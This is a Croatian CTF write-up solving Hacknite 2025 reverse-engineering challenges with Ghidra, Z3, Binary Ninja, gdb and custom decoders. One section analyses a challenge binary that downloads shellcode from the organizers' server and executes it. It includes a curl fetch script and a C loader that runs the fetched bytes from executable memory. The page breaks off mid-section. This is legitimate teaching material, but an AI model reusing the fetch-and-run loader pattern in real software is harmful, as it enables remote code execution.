User Tools

Site Tools


hacknite2025

This is an old revision of the document!


Hacknite2025 rješenja

U ovom članku su rješenja zadataka sa Hacknite 2025 natjecanja. Zadatci su dostupni na platformama:

https://platforma.hacknite.hr/
https://platforma.hackultet.hr/

Reverzno inženjerstvo

rev1

Možete li analizirati program rev1 i saznati lozinku?
Ako ne znate kako početi, proučite alat Ghidra 
(https://www.cert.hr/wp-content/uploads/2021/01/ghidra.pdf)

Uz zadatak je dana i izvršna datoteka.

S pomoću Ghidre, ili drugog alata za reverzno inženjerstvo potrebno je pronaći sve uvijete u danoj izvršnoj datoteci i riješiti ih ručno ili napisati Python skriptu koja ih rješava.

U nastavku je Python skripta koja rješava skup uvjeta u izvršnoj datoteci.

def solve():
    password = [''] * 21
    # buf[0]
    password[0] = chr(233 ^ 0xAA)
    # buf[1]
    password[1] = chr((234 - 150) & 0xFF)
    # buf[2]
    password[2] = chr(-186 & 0xFF)
    # buf[3]
    password[3] = str(14 // 7)
    # buf[4]
    password[4] = '0'
    # buf[5]
    password[5] = chr((250 - 200) & 0xFF)
    # buf[6]
    for i in range(256):
        if (i * 3) & 0xFF == 159:
            password[6] = chr(i)
            break
    # buf[7]
    password[7] = chr(~164 & 0xFF)
    # buf[8]
    password[8] = '0'
    # buf[9]
    password[9] = chr(40 ^ 0x1E)
    # buf[10]
    password[10] = '3'
    # buf[11]
    password[11] = str(12 // 2)
    # buf[12] - rotr8
    v = 208
    n = 2
    password[12] = chr((v >> n) | (v << (8 - n)) & 0xFF)
    # buf[13]
    password[13] = str(10 // 5)
    # buf[14]
    for i in range(256):
        if (i * 5) & 0xFF == 19:
            password[14] = chr(i)
            break
    # buf[15]
    password[15] = chr((44 + 10) & 0xFF)
    # buf[16]
    password[16] = chr(2 ^ 0x33)
    # buf[17]
    for i in range(256):
        if (i * 137) & 0xFF == 75:
            password[17] = chr(i)
            break
    # buf[18]
    password[18] = chr((202 - 149) & 0xFF)
    # buf[19]
    password[19] = '2'
    # buf[20]
    password[20] = chr((245 - 152) & 0xFF)
    print("".join(password))
    
solve()

rev2

Puno rješenje zadatka je napisano ovdje:

CTF writeup - rev2-Ghidra

Također su napisana rješenja na druga dva načina korištenjem alata Angr i tehnikom breakpoint counting.

CTF writeup - rev2-Angr

CTF writeup - rev2-Breakpoint counting

ZZZagrijavanje

Molim vas nemojte ovo rješavati ručno, postoji bolji način 
(pogledajte na https://wiki.hacknite.hr što od alata bi vam moglo pomoći)

Uz zadatak je dana i izvršna datoteka.

Alat za rješavanje ovog zadatka je Z3.

S pomoću Ghidre, ili drugog alata za reverzno inženjerstvo potrebno je pronaći sve uvijete u danoj izvršnoj datoteci i postaviti ih kao Z3 ograničenja, te riješiti Z3 alatom.

Potrebno je instalirati paket z3-solver, za što se preporučuje korištenje venv modula.

Skripta za pronalazak rješenja iz postavljenih uvjeta je u nastavku.

try:
    from z3 import *

except ImportError:
    print("z3-solver import error")
    exit()


solver = Solver()


# 12 symbolic 8-bit variables for the digits
digits = [BitVec(f'd_{i}', 8) for i in range(12)]

### Constraints

#All characters must be ASCII digits '0'-'9' ---
for d in digits:
    solver.add(And(UGE(d, ord('0')), ULE(d, ord('9'))))

# Helper function - popcount in Z3
def popcount(bv):
    # Sums each bit (0 or 1)
    return Sum([ZeroExt(7, Extract(i, i, bv)) for i in range(8)])



# 17 C checks to Z3 constraints ---

# Check 1: Total ASCII Sum == 639
solver.add(Sum([ZeroExt(8, d) for d in digits]) == 639)

# Check 2: Total Integer Sum == 63
solver.add(Sum([ZeroExt(8, d - ord('0')) for d in digits]) == 63)

# Check 3: Total Popcount == 44
solver.add(Sum([popcount(d) for d in digits]) == 44)

# Check 4: Product Mod 101 == 23
p0, p5, p11 = [ZeroExt(56, digits[i]) for i in [0, 5, 11]]
solver.add(URem(p0 * p5 * p11, 101) == 23)

# Check 5: XOR Sum Even Indices == 13
solver.add(digits[0] ^ digits[2] ^ digits[4] ^ digits[6] ^ digits[8] ^ digits[10] == 13)

# Check 6: Half Sum Difference == 11
sum1 = Sum([ZeroExt(8, d) for d in digits[:6]])
sum2 = Sum([ZeroExt(8, d) for d in digits[6:]])
solver.add(sum1 - sum2 == 11)

# Check 7: XOR Sum Prime Indices == 52
solver.add(digits[1] ^ digits[2] ^ digits[4] ^ digits[6] ^ digits[10] == 52)

# Check 8: Digit Pairs % 97 == 82
d_int = [ZeroExt(8, d - ord('0')) for d in digits]
val1 = d_int[0] * 10 + d_int[1]
val2 = d_int[2] * 10 + d_int[3]
solver.add(URem(val1 + val2, 97) == 82)

# Check 9: Multiplication by 4 == 200
solver.add(((ZeroExt(8, digits[2]) * 4) + (ZeroExt(8, digits[8]) * 4)) & 0xFF == 200)

# Check 10: Lowest Set Bit Sum == 4
lsb3 = digits[3] & -digits[3]
lsb7 = digits[7] & -digits[7]
lsb9 = digits[9] & -digits[9]
solver.add(ZeroExt(8, lsb3) + ZeroExt(8, lsb7) + ZeroExt(8, lsb9) == 4)

# Check 11: Weighted Sum % 251 == 121
w_sum = Sum([ZeroExt(24, digits[i]) * (i + 1) for i in range(6)])
solver.add(URem(w_sum, 251) == 121)

# Check 12: Left Shift == 132
solver.add((digits[6] << 2) + (digits[11] << 3) == 132)

# Check 13: AND == 56
solver.add((digits[0] & 0xF8) & (digits[1] & 0xF8) == 56)

# Check 14: Arithmetic == 23
a1 = SignExt(8, digits[1]) * 3
a7 = SignExt(8, digits[7]) * 5
a11 = SignExt(8, digits[11]) * 2
solver.add(Extract(7, 0, a1 - a7 + a11) == 23)

# Check 15: Low Nibble Sum == 20
solver.add(Sum([ZeroExt(4, d & 0x0F) for d in digits[8:]]) == 20)

# Check 16: Quadratic % 13 == 0
x = ZeroExt(8, digits[4] - ord('0'))
y = ZeroExt(8, digits[5] - ord('0'))
solver.add(URem((x * x) + (y * y), 13) == 0)

# Check 17: Right Shift == 12
rs5 = LShR(digits[5], 3)
rs7 = LShR(digits[7], 3)
solver.add(ZeroExt(8, rs5) + ZeroExt(8, rs7) == 12)


solutions_found = 0
while solver.check() == sat:
    solutions_found += 1
    model = solver.model()
    
    # Construct the solution string
    solution_str = "".join([chr(model[d].as_long()) for d in digits])
    print(f"  > Solution {solutions_found} found: CTF2025[{solution_str}]")
    
    # Add a constraint to exclude this solution from the next search
    block_clause = [d != model[d] for d in digits]
    solver.add(Or(block_clause))

if solutions_found == 1:
    print("Verification successful: Z3 confirmed there is exactly one unique solution.")
elif solutions_found == 0:
    print("Warning: Z3 could not find any solution.")
else:
    print(f"Multiple solutions found.")

Easter Egg

Možete li pronaći tajni uvjet koji vam otkriva flag?

Igra se s wasd i nakon svakog poteza morate stisnuti enter.

Dostupna vam je Linux izvršna datoteka koju možete lokalno analizirati

Kako biste dobili flag, spojite se na remote instancu Linux naredbom nc chal.platforma.hacknite.hr 14001 i zadovoljite uvjet tamo kako biste dobili flag.

Uz zadatak je dana i izvršna datoteka zadatka.

Analizom izvršne datoteke s pomoću alata Ghidra ili drugog alata za reverzno inženjerstvo, mogu se vidjeti potrebni uvjeti nakon kojih program čita datoteku “easterEgg.txt” i ispisuje njen sadržaj:

-Zmija treba biti dužine 7
-Zmija treba cijelom dužinom tijela uz desni rub kretanjem
prema gore proći gornjim lijevim kutem
-Nakon prolaska kroz gornji lijevi kut i skretanjem u desno,
zmija treba kretanjem u smjeru kazaljke na sat napraviti puni
krug isključivim kretanjem uz rub prostora
-Zmija treba ponovno proći gornjim lijevim kutom i skrenuti u desno.

Svi uvjeti moraju biti zadovoljeni za cijelo vrijeme rađenja kruga, nakon prolaska gornjim lijevim kutem uz zadovoljavanje potrebnih inicijalnih uvjeta.

esrever

Ovaj program se ponaša jako sumnjivo, možeš li analizirati što radi

Hint: provjerite da je response koji dobivate isti kao i onaj koji program dobiva (free extra hint: vjerojatno nije)

Uz zadatak se dobiva i izvršna datoteka.

Nakon pokretanja programa, program traži unos passworda.

Ltrace i strace pokazuju da program bilježi trenutno vrijeme i da koristi curl kojime nešto dohvaća.

$ ltrace ./esrever
time(0)                                                 = 1762893992
snprintf("1762893992", 64, "%ld", 1762893992)           = 10
curl_global_init(3, 0x564d9040400b, 0, 0)               = 0
curl_easy_init(0x75a517b7e5a0, 0, 0, 0)                 = 0x564dbd74c600
fmemopen(0x7fffc1e37ed0, 2000, 0x564d9040400c, 0x73747265632f6c) = 0x564dbd74c4a0
curl_easy_setopt(0x564dbd74c600, 0x2712, 0x564d90404010, 0) = 0
curl_easy_setopt(0x564dbd74c600, 0x2722, 0x7fffc1e37e90, 33) = 0
curl_easy_setopt(0x564dbd74c600, 0x2711, 0x564dbd74c4a0, 0x32393933393832) = 0
curl_easy_setopt(0x564dbd74c600, 13, 10, 0x75a517c9838c) = 0
curl_easy_perform(0x564dbd74c600, 13, 0, 0x75a517c97e8c) = 0
fflush(0x564dbd74c4a0)                                  = 0
Input a flag:


$ strace ./esrever
...
clock_gettime(CLOCK_MONOTONIC_RAW, {tv_sec=108665, tv_nsec=324197109}) = 0
sendto(5, "GET /get HTTP/1.1\r\nHost: chal.ha"..., 87, MSG_NOSIGNAL, NULL, 0) = 87
...
recvfrom(5, "HTTP/1.1 200 OK\r\nServer: Werkzeu"..., 16384, 0, NULL, NULL) = 175
...
recvfrom(5, "H\213\354\350\200\2\0\0j<X\17\5SVWATAUAVUH\213\354L\213\350H\213\362"..., 886, 0, NULL, NULL) = 886
...

Binary Ninja se može koristiti za daljnju analizu ove izvršne datoteke, nakon čega se lagano može pronaći main funkcija.

004012ef        __builtin_memcpy(dest: &buf, 
004012ef            src: "\x48\x8b\xec\x4c\x8d\x3d\x13\x00\x00\x00\x49\x8d\x37\x6a\x01\x58\x6a\x01\x5f\x"
004012ef        "6a\x27\x5a\x0f\x05\x6a\x3c\x58\x0f\x05\x53\x6f\x6d", 
004012ef            count: 0x20)
00401333        int64_t var_7c8
00401333        __builtin_strncpy(dest: &var_7c8, src: "ething is wrong. Contact organizers\n", 
00401333            count: 0x30)
0040138d        void var_798
0040138d        __builtin_memset(dest: &var_798, ch: 0, count: 0x780)
004013c9        char s[0x40]
004013c9        snprintf(&s, maxlen: 0x40, format: "%ld", time(nullptr))
004013d3        curl_global_init(3)
004013d8        int64_t rax_3 = curl_easy_init()
004013fa        FILE* fp = fmemopen(&buf, len: 0x7d0, mode: U"w")
00401421        curl_easy_setopt(rax_3, 0x2712, "http://chal.hacknite.hr:1556/get")
00401441        curl_easy_setopt(rax_3, 0x2722, &s)
00401461        curl_easy_setopt(rax_3, 0x2711, fp)
00401484        curl_easy_setopt(rax_3, 0xd, 0xa)
00401493        curl_easy_perform(rax_3)
004014a2        fflush(fp)
004014ae        (&buf)()
004014b9        *(fsbase + 0x28)

Ovo je najbitniji dio main funkcije, vidi se da program bilježi trenutačni timestamp, te ga potom postavlja kao user agent i šalje zahtjev na endpoint http://chal.hacknite.hr:1556/get, vraćeni odgovor pokreće kao shellcode.

U ovom djelu koda se može vidjeti pod koji header se postavlja timestamp.

004013c9        char s[0x40]
004013c9        snprintf(&s, maxlen: 0x40, format: "%ld", time(nullptr))
...
00401441        curl_easy_setopt(rax_3, 0x2722, &s)

Ovdje je ključna konstanta 0x2722, odnosno 10018 u dekadskom. To je zapravo konstanta koja označava postavljanje user agenta.

(enum <unnamed>)CURLOPT_USERAGENT = 10018

Slanje trenutačnog timestampa je bitno, jer serverska strana može vračati drugačiji odgovor, ovisno o tome koji je timestamp u zahtjevu.

Kako bi se simuliralo ovo ponašanje, može se napisati bash skripta koja će slati isti zahtjev i zabilježiti odgovor u datoteku.

#!/bin/bash

#  current Unix timestamp
# '+%s' format specifier gives the seconds since the epoch.
CURRENT_TIME=$(date +%s)

URL="http://chal.hacknite.hr:1556/get"

echo "Sending request with User-Agent: $CURRENT_TIME"
curl -A "$CURRENT_TIME" --connect-timeout 10 "$URL" --output "fetched.bin"

Pokretanjem ove skripte, payload će biti dohvaćen i spremljen u datoteku “fetched.bin”

$ file fetched.bin 
fetched.bin: data

$ binwalk fetched.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------


$ strings fetched.bin
SVWATAUAVUH
A^A]A\_^[
SVWATUH
A\_^[
SVUH
VWUH
VWUH
AWAVAUATSH
Input a flag:
correct
nope

Naredbe file i binwalk ne prepoznaju ovu datoteku, kao sto ni Ghidra niti Binary Ninja by default ne prepoznaju. Iako strings ispisuje sadržaj koji ukazuje na to da je datoteka izvršni kod, sto se također može zaključiti i po tome što radi program nakon što dohvati ovaj kod CURL pozivom. Nakon dohvaćanja koda, postavlja ga u buffer, skače na njegovu lokaciju i počinje s izvršavanjem koda u bufferu.

...
004013fa        FILE* fp = fmemopen(&buf, len: 0x7d0, mode: U"w")
...
004014a2        fflush(fp)
004014ae        (&buf)()

No metode statične analize nisu bile uspješne, moguće da kod koristi i neku tehniku otežavanja reverznog inženjerstva nad njom, zato se može koristiti dinamička analiza s debuggerom, npr. gdb. Kako bi se olakšala dinamička analiza, može se napisati program koji će samo učitati dohvaćenu datoteku fetched.bin, čekati bilo koji korisnički unos i nakon njega krenuti s izvršavanjem učitanog koda.

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>

int main() {
    FILE *file = fopen("fetched.bin", "rb");
    if (!file) { perror("fopen"); return 1; }
    fseek(file, 0, SEEK_END);
    long size = ftell(file);
    fseek(file, 0, SEEK_SET);

    void *mem = mmap(0, size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    fread(mem, 1, size, file);
    fclose(file);

    printf("Shellcode loaded at: %p\n", mem);
    printf("Press enter to execute...\n");
    getchar();

    ((void(*)())mem)();

    return 0;
}

Ovaj program će ispisati adresu na koju s pomoću gdba trebamo postaviti breakpoint.

gdb ./loader

(gdb) run

Press enter to execute...
(gdb) ^C (CTRL + C - SIGINT)

(gdb) break *0x7ffff7fbc000

(gdb) continue

Continuing.
Breakpoint 1, 0x00007ffff7fbc000 in ?? ()

Sada se mogu vidjeti učitane instrukcije.

(gdb) x/40i $rip
=> 0x7ffff7fbc000:	mov    %rsp,%rbp
   0x7ffff7fbc003:	call   0x7ffff7fbc288
   0x7ffff7fbc008:	push   $0x3c
   0x7ffff7fbc00a:	pop    %rax
   0x7ffff7fbc00b:	syscall
   0x7ffff7fbc00d:	push   %rbx
   0x7ffff7fbc00e:	push   %rsi
   0x7ffff7fbc00f:	push   %rdi
   0x7ffff7fbc010:	push   %r12
   0x7ffff7fbc012:	push   %r13
   0x7ffff7fbc014:	push   %r14
   0x7ffff7fbc016:	push   %rbp
   0x7ffff7fbc017:	mov    %rsp,%rbp
   0x7ffff7fbc01a:	mov    %rax,%r13
   0x7ffff7fbc01d:	mov    %rdx,%rsi
   0x7ffff7fbc020:	mov    %rcx,%rbx
   0x7ffff7fbc023:	xor    %edi,%edi
   0x7ffff7fbc025:	mov    $0xa9fbcb9f,%eax
   0x7ffff7fbc02a:	add    $0x56043461,%eax
   0x7ffff7fbc02f:	jne    0x7ffff7fbc04b
   0x7ffff7fbc031:	cmp    %rbx,%rdi
   0x7ffff7fbc034:	jb     0x7ffff7fbc038
   0x7ffff7fbc036:	jmp    0x7ffff7fbc05c
   0x7ffff7fbc038:	mov    %rsi,%r12
   0x7ffff7fbc03b:	add    %rdi,%r12
   0x7ffff7fbc03e:	mov    %rsi,%rax
   0x7ffff7fbc041:	add    %rdi,%rax
   0x7ffff7fbc044:	mov    (%rax),%r14b
   0x7ffff7fbc047:	mov    %r13,%rax
   0x7ffff7fbc04a:	call   0x7ffff7fbc149
   0x7ffff7fbc04f:	xor    %al,%r14b
   0x7ffff7fbc052:	mov    %r14b,(%r12)
   0x7ffff7fbc056:	add    $0x1,%rdi
   0x7ffff7fbc05a:	jmp    0x7ffff7fbc031
   0x7ffff7fbc05c:	leave
...

Iz ovih instrukcija vidljivo je koja se arhitektura koristi, prefix r na registrima je naznaka da se koriste 64-bitni registri (inače bi bio prefix e). Također je i syscall indikacija da se koristi 64 bita, kao i same memorijske adrese. Uzevši i ovu liniju u obzir

0x7ffff7fbc295:	lea    0xa6(%rip),%rax        # 0x7ffff7fbc342

koja računa memorijsku adresu kao relativnu adresu s obzirom na instruction pointer (%rip), može se zaključiti da je ovo Position Independent Code za x86-64 arhitekturu.

Ova informacija se može iskoristiti da reverzno inženjerstvo ovog koda s pomoću Binary Ninja alata, gdje se za platform odabere linux-x86_64.

Nakon toga se označi cijeli kod i odabere opcija Make function at this addresslinux-x86_64, nakon čega Binary Ninja alat uspješno napravi dekompilaciju koda.

 Binary Ninja

 Binary Ninja 2

Može se vidjeti main funkcija.

00000288        sub_271(arg1, arg2, "Input a flag:\n", 0xe, 1);
000002b3        void var_28;
000002b3        int64_t rsi;
000002b3        int64_t rdi;
000002b3        char* r8;
000002b3        int64_t r9;
000002b3        rsi = sub_24d(arg1, arg2, &var_28, 0x15, 0);
000002b8        char var_13 = 0;
000002d3        uint64_t var_130;
000002d3        int64_t rsi_1;
000002d3        int64_t rdi_1;
000002d3        char* r12;
000002d3        uint64_t r13;
000002d3        int64_t r14;
000002d3        rsi_1 =
000002d3            sub_67(rdi, rsi, "AWAVAUATSH", 0xa, r8, &var_130, r12, r13, (uint8_t)r14, r9);
000002ed        var_130 = 0x15;
000002f0        sub_d(rdi_1, rsi_1, &var_28, var_130, &var_130, r12, r14);
000002f0        
00000304        if (!sub_20c(rdi_1, rsi_1, 0x351, &var_28))
00000304        {
00000312            var_130 = 1;
00000314            int32_t rax_4 = (int32_t)var_130;
00000315            var_130 = 8;
00000318            return sub_271(rdi_1, rsi_1, "correct\n", var_130, rax_4);
00000304        }
00000304        
00000329        var_130 = 1;
0000032b        int32_t rax_6 = (int32_t)var_130;
0000032c        var_130 = 5;
0000032f        return sub_271(rdi_1, rsi_1, "nope\n", var_130, rax_6);
00000288    }

vidi se da se AWAVAUATSH koristi kao string argument funkcije ovdje, što je inače zapravo string koji se pojavljuje na mjestima u binarnim izvršnim datotekama, gdje su push instrukcije registara pri ulasku u poziv funkcije.

Analizom koda, mogu se vidjeti print i input funkcije (omotane oko write i read poziva). Ključne funkcije su sub_67 i sub_d, koje su zapravo funkcije RC4 algoritma, koji iz ključa generira pseudorandom stream kojim radi XOR nad podatcima koje enkriptira.

sub_67 funkcija generira stanje iz ključa koje će se koristiti za generiranje streama za XOR (RC4 KSA).

sub_d funkcija koristi prethodno generirano stanje kojime generira stream, odnosno odgovarajući bit za svaku poziciju korisničkog unosa i nad njima radi XOR operaciju, te rezultat sprema nazad u buffer u kojemu se spremio korisnički unos (RC4 PRGA).

Nakon toga se enkriptirani korisnički unos uspoređuje s hardkodiranom vrijednošću na offsetu 0x351

AWAVAUATSH je ključ za generiranje stanja.

Hardkodirana vrijednost (odnosno enkriptirani flag) na offsetu 0x351 je

(0x351 offset -> copy as -> raw hex)
5c0ad2e1172f2ca7a1609172b2c0677cfd3882554b

Kako bi se pronašao flag, može se samo ova hardkodirana vrijednost dešifrirati s RC4 algoritmom i ključem AWAVAUATSH. Ovo se može napraviti i alatom Cyberchef.

 Cyberchef RC4 Decrypt

EulerRev

Eulerov broj se može koristit za sve, pa čak i za enkodiranje!

Napomena: za rješavanje ovog zadatka ne trebate nikome uplaćivati novac
ni slati mailove, svi resursi potrebni za rješavanje ovog zadatka su 
besplatno dostupni na internetu

Hint: treba vam jako jako puno znamenki (u milijardama),
file s jako puno znamenki postoji na internetu također: y-cruncher

Uz zadatak su dani i encoder i output.txt (enkodirani flag).

Analizom koda vidi se da program pokušava otvoriti datoteku “euler-enough-digits.txt”, a ako datoteke nema, koristi fallback funkciju za generiranje znamenki broja e, no ova fallback funkcija ne generira dovoljno znamenki da bi se mogle koristiti za ispravno enkodiranje, ovaj zadatak krivo radi ako se pokreće bez datoteke “euler-enough-digits.txt” u kojoj je dovoljno znamenki broje e, i ispravne su. Hint u zadatku kaže da je potrebno puno znamenki, u milijardama, te spominje y-cruncher koji se može koristiti za generiranje potrebnih broja znamenki, kao i da postoje na internetu.

Način kako program enkodira tekst pomoću znamenki Eulerovog broja je opisan:

Ako je dostupno 3 slova (bajta) uzmi 3, ako nije uzmi 2, ako nije uzmi 1.

npr. "Eul". Pretvori svako slovo u njenu ASCII vrijednost.

E -> 069
u -> 117
l -> 108

Spoji ASCII vrijednosti slova u broj.

069117108

(ako je prva znamenka 0, ne koristi se, ako je 1 koristi se)

69117108

Na kraju broja dodaj dodatnu index counter znamenku (ciklično od 0-9)

Ako je ovo prvi enkodirani blok, ova znamenka će biti 0, za drugi 2, itd..
Za 11. blok će vrijednost opet biti 1.

691171080

Ovaj broj ima 9 znamenki.

Odi na poziciju 691171080. znamenke Euler broja i tamo uzmi
sekvencu sljedećih 10 znamenki.

3647095543

Ovo je prvih 10 znamenki u output.txt datoteci.

Uzevši u obzir da se ovime enkodiraju printable ASCII znakovi, koji mogu imaju vrijednosti 32-126, najveći mogući broj dobiven iz bloka od 3 znakova, na poziciji koja je višekratnik broja 10 (ima zadnju znamenku - block counter, 9) je 1261261269.

Milijarda i 300 milijuna znamenki Eulerovog broja je dovoljna za dekodiranje teksta, koji je enkodiran na ovaj način. Potrebne znamenke se mogu ili izračunati y-cruncherom ili preuzeti s interneta.

Rubni slučaj je zadnji blok, koji može biti duljine 1, 2 ili 3 znaka. Ovisno o njegovoj duljini, enkodirati će se u 4, 7 ili 10 znamenki

3 bajta -> 9 ASCII znamenke (3*3) + 1 index znamenka = 10 znamenki
2 bajta -> 6 ASCII znamenke (2*3) + 1 index znamenka = 7 znamenki
1 bajt -> 3 ASCII znamenke (1*3) + 1 index znamenka = 4 znamenke

Duljina zadnjeg bloka se zna ovisno o ostaku duljine output.txt % 10, ako je 0, zadnji blok je duljine 3, ako je 4 zadnji blok je duljine 1 znaka, ako je 7 zadnji blok je duljine 2 znaka.

wc -c output.txt 
137 output.txt

137 % 10 = 7

zadnji blok je duljine 2 znaka.

Potrebno je pronaći poziciju prve znamenke na kojoj
se sekvenca zadnjih 7 znamenki pojavljuje u Eulerovom broju.

Za dekodiranje, potrebno je uzeti sekvencu 10 znamenki i pronaći poziciju (10 ili 9-znamenkasti broj) na kojoj se pojavljuje ta sekvenca unutar znamenki Eulerovog broja (uzeti poziciju prve znamenke u sekvenci). Za zadnji blok se uzima preostali broj znamenki i traži pozicija te sekvence, kao što je prethodno opisano.

U nastavku je program napisan u C programskom jeziku za dekodiranje, koji koristi datoteku “euler-enough-digits.txt” s barem milijardu i 300 milijuna znamenki Eulerovog broja.

// decoder.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <ctype.h>
#include <stdint.h>
#include <time.h>

#define EULER_SIZE 1300000000ULL
#define EULER_FILE "euler-enough-digits.txt"
#define INPUT_FILE "output.txt"
#define OUTPUT_FILE "decoded.txt"

typedef struct {int fd; char* digits; size_t size;} EulerContext;

void init_e(EulerContext* e) {
    e->fd = open(EULER_FILE, O_RDONLY);
    e->digits = NULL;
    e->size = EULER_SIZE;
}

void clean_e(EulerContext* e) {
    if (e->fd != -1) close(e->fd);
    if (e->digits) free(e->digits);
}
ssize_t find_sequence(EulerContext* e, const char* seq, size_t len, size_t start_off) {
    if (start_off + len > e->size) return -1;
    if (e->digits) {
        char* p = strstr(e->digits + start_off, seq);
        return p ? (p - e->digits) : -1;
    }
    size_t chunk = 4096 + len;
    char* buf = malloc(chunk);
    off_t pos = start_off;
    ssize_t found = -1;
    while (pos < (off_t)e->size) {
        size_t to_read = chunk;
        if (pos + to_read > (off_t)e->size) to_read = e->size - pos;
        if (pread(e->fd, buf, to_read, pos) != (ssize_t)to_read) break;
        for (size_t i = 0; i + len <= to_read; i++) {
            if (memcmp(buf + i, seq, len) == 0) {
                found = pos + i;
                break;
            }
        }
        if (found >= 0) break;
        pos += to_read - len + 1;
    }
    free(buf);
    return found;
}

int main() {
    EulerContext e;
    init_e(&e);

    FILE* in = fopen(INPUT_FILE, "r");
    if (!in) {
        perror("fopen input");
        clean_e(&e);
        return 1;
    }
    FILE* out = fopen(OUTPUT_FILE, "wb");
    if (!out) {
        perror("fopen output");
        fclose(in);
        clean_e(&e);
        return 1;
    }

    size_t blocks = 0, decoded = 0;
    time_t start = time(NULL), last = start;
    printf("Starting decoding...\n");

    while (1) {
        char buf[11] = {0};

        size_t got = fread(buf, 1, 10, in);
        if (got == 0) break;
        if (!(got == 10 || got == 7 || got == 4)) {
            fprintf(stderr, "[DEC] invalid block size %zu\n", got);
            break;
        }
        blocks++;
        fprintf(stderr, "[DEC] Block %zu: size=%zu data=%s\n", blocks, got, buf);
        
        size_t start_off;
        if (got == 10) {
            start_off = 100000000; 
        } else if (got == 7) {
            start_off = 100000;    
        } else { // 4
            start_off = 100;       
        }

        ssize_t offset = find_sequence(&e, buf, got, start_off);
        if (offset < 0) {
            fprintf(stderr, "[DEC] seq not found\n");
            break;
        }

        fprintf(stderr, "[DEC] found at offset=%zd\n", offset);

        char pstr[16] = {0};
        snprintf(pstr, sizeof(pstr), "%0*zd", (int)got, offset);
        int nbytes = (got - 1) / 3;
        char decoded_block[4] = {0};

        for (int i = 0; i < nbytes; i++) {
            char bs[4] = {pstr[i*3], pstr[i*3+1], pstr[i*3+2], '\0'};
            uint8_t b = (uint8_t)atoi(bs);
            fputc(b, out);
            decoded_block[i] = (char)b;
            fprintf(stderr, "[DEC] byte %d = %u\n", i+1, b);
            decoded++;
        }

        printf("Decoded block %zu: '%.*s'\n", blocks, nbytes, decoded_block);

        time_t now = time(NULL);
        if (now - last >= 1) {
            double elapsed = difftime(now, start);
            fprintf(stderr, "[DEC] blocks=%zu decoded=%zu time=%.1f\n", blocks, decoded, elapsed);
            last = now;
        }
    }

    double total = difftime(time(NULL), start);
    printf("Decoding done: %zu blocks, %zu bytes in %.1f sec -> %s\n", blocks, decoded, total, OUTPUT_FILE);
    fclose(in);
    fclose(out);
    clean_e(&e);
    return 0;
}

Moguće je napisati i jednostavniju skriptu za dekodiranje u Pythonu.

Keygen

Naš flag generator radi, samo je malo spor, možeš li nam pomoći?

Napomena: program nije maliciozan ali bi se antivirusni programi mogli žaliti na njega, preporučujemo ga analizirati u virtualci s isključenim antivirusnim programom

Uz zadatak je dostupna i izvršna datoteka.

Pokretanjem naredbe

upx keygen.exe

(upx iz paketa upx-ucl)

Rezultat je

upx: keygen.exe: AlreadyPackedException: already packed by UPX

Datoteka se može UPX raspakirati naredbom

upx -d keygen.exe

Nakon toga naredbom

strings keygen.exe

Može se vidjeti programski kod i u određenim linijama može se vidjeti AutoHotkey, što označava da je ovo AutoHotkey skripta.

...
#Requires AutoHotkey v1.1
...
<assemblyIdentity version="1.1.00.00" name="AutoHotkey" type="win32" />
...

U ispisu strings naredbe je vidljiv cijeli kod AutoHotkey skripte.

Dio skripte koji generira flag se izvodi nakon pritiska gumba.

ButtonStart(){
f := "7"
Loop 10368001 {
GuiControl,, Calc, % 1 + (1 - fnd(-400 * A_Index / 1036800)) * 97
f := fnb(f, "8")
f := fni(f, "1000000000000")
GuiControl,, Calc, 100
MsgBox, Done, your flag is: CTF2025[%f%]
GuiClose:
ExitApp

fnb funkcija je funkcija eksponenta, fnb(f, “8”) je zapravo f^8.

fni funkcija je modulo funkcija, fni(f, “1000000000000”) je ekvivalentno f % 1000000000000.

linija koda

GuiControl,, Calc, % 1 + (1 - fnd(-400 * A_Index / 1036800)) * 97

Samo računa pomak na status baru i prikazuje ga, no računa ga na jako neefikasan i spor način, uzevši u obzir da se ovo izvršava u petlji sa 10368001 ponavljanja.

Loop 10368001 {

Dio koda koji se koristi za računanje flaga je ekvivalentan ovom izrazu.

f = 7
for i in range (10368001):
    f = f ** 8
    f = f % 1000000000000
print("CTF2025["+str(f)+"]")

Ovaj se kod može izvršiti u Pythonu i nakon što završi s računanjem, što ne bi trebalo trajati više od minute, ispisat će se flag.

Poligloti

Flag koji se nalazi u datoteci flagEnc.bin je šifriran s programom LorenIps, možeš li ga dešifrirati?

Uz zadatak su dani i LorenIps izvršna datoteka i šifrirani flag.

File naredba nad LorenIps datotekom kaže da je to ELF executable koji nije stripped, pokretanjem binwalk naredbe može se vidjeti da se unutar datoteke nalazi i ZIP datoteka.

$ binwalk LorenIps 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             ELF, 64-bit LSB executable, AMD x86-64, version 1 (GNU/Linux)
15296         0x3BC0          AES S-Box
15552         0x3CC0          AES S-Box
15808         0x3DC0          AES S-Box
16064         0x3EC0          AES S-Box
18432         0x4800          AES Inverse S-Box
18720         0x4920          AES Inverse S-Box
19008         0x4A40          AES Inverse S-Box
19296         0x4B60          AES Inverse S-Box
537754        0x8349A         Unix path: /sys/kernel/mm/hugepages
540017        0x83D71         Unix path: /usr/share/locale
543791        0x84C2F         Unix path: /usr/lib/getconf
562096        0x893B0         Unix path: /usr/lib/locale
804016        0xC44B0         Zip archive data, at least v2.0 to extract, compressed size: 601, uncompressed size: 601, name: LoremIpsum.txt

Zato što izvršio dio datoteke nije stripped, reverzno inženjerstvo s pomoću Ghidra alata je puno lakše, nego što bi inače bilo.

Analizom izvršne datoteke otvorene u Ghidra alatu, može se vidjeti da program koristi AES za enkripciju flaga, a ključ AES-a je XOR jedne statične vrijednosti i jedne vrijednosti koju program pročita iz /proc/self/exe, iz čega također pročita i AES inicijalizacijski vektor (IV).

Može se vidjeti da traži te vrijednosti na određenom pomaku nakon byteova “PK \x05 \x06” Što je zapravo signature za kraj ZIP datoteke. Pošto je i sama ZIP datoteka pri kraju LorenIps datoteke, može se koristiti alat xxd i pogledati byteove pri kraju datoteke.

$ xxd LorenIps

...
000c4770: 7450 4b05 0600 0000 0001 0001 003c 0000  tPK..........<..
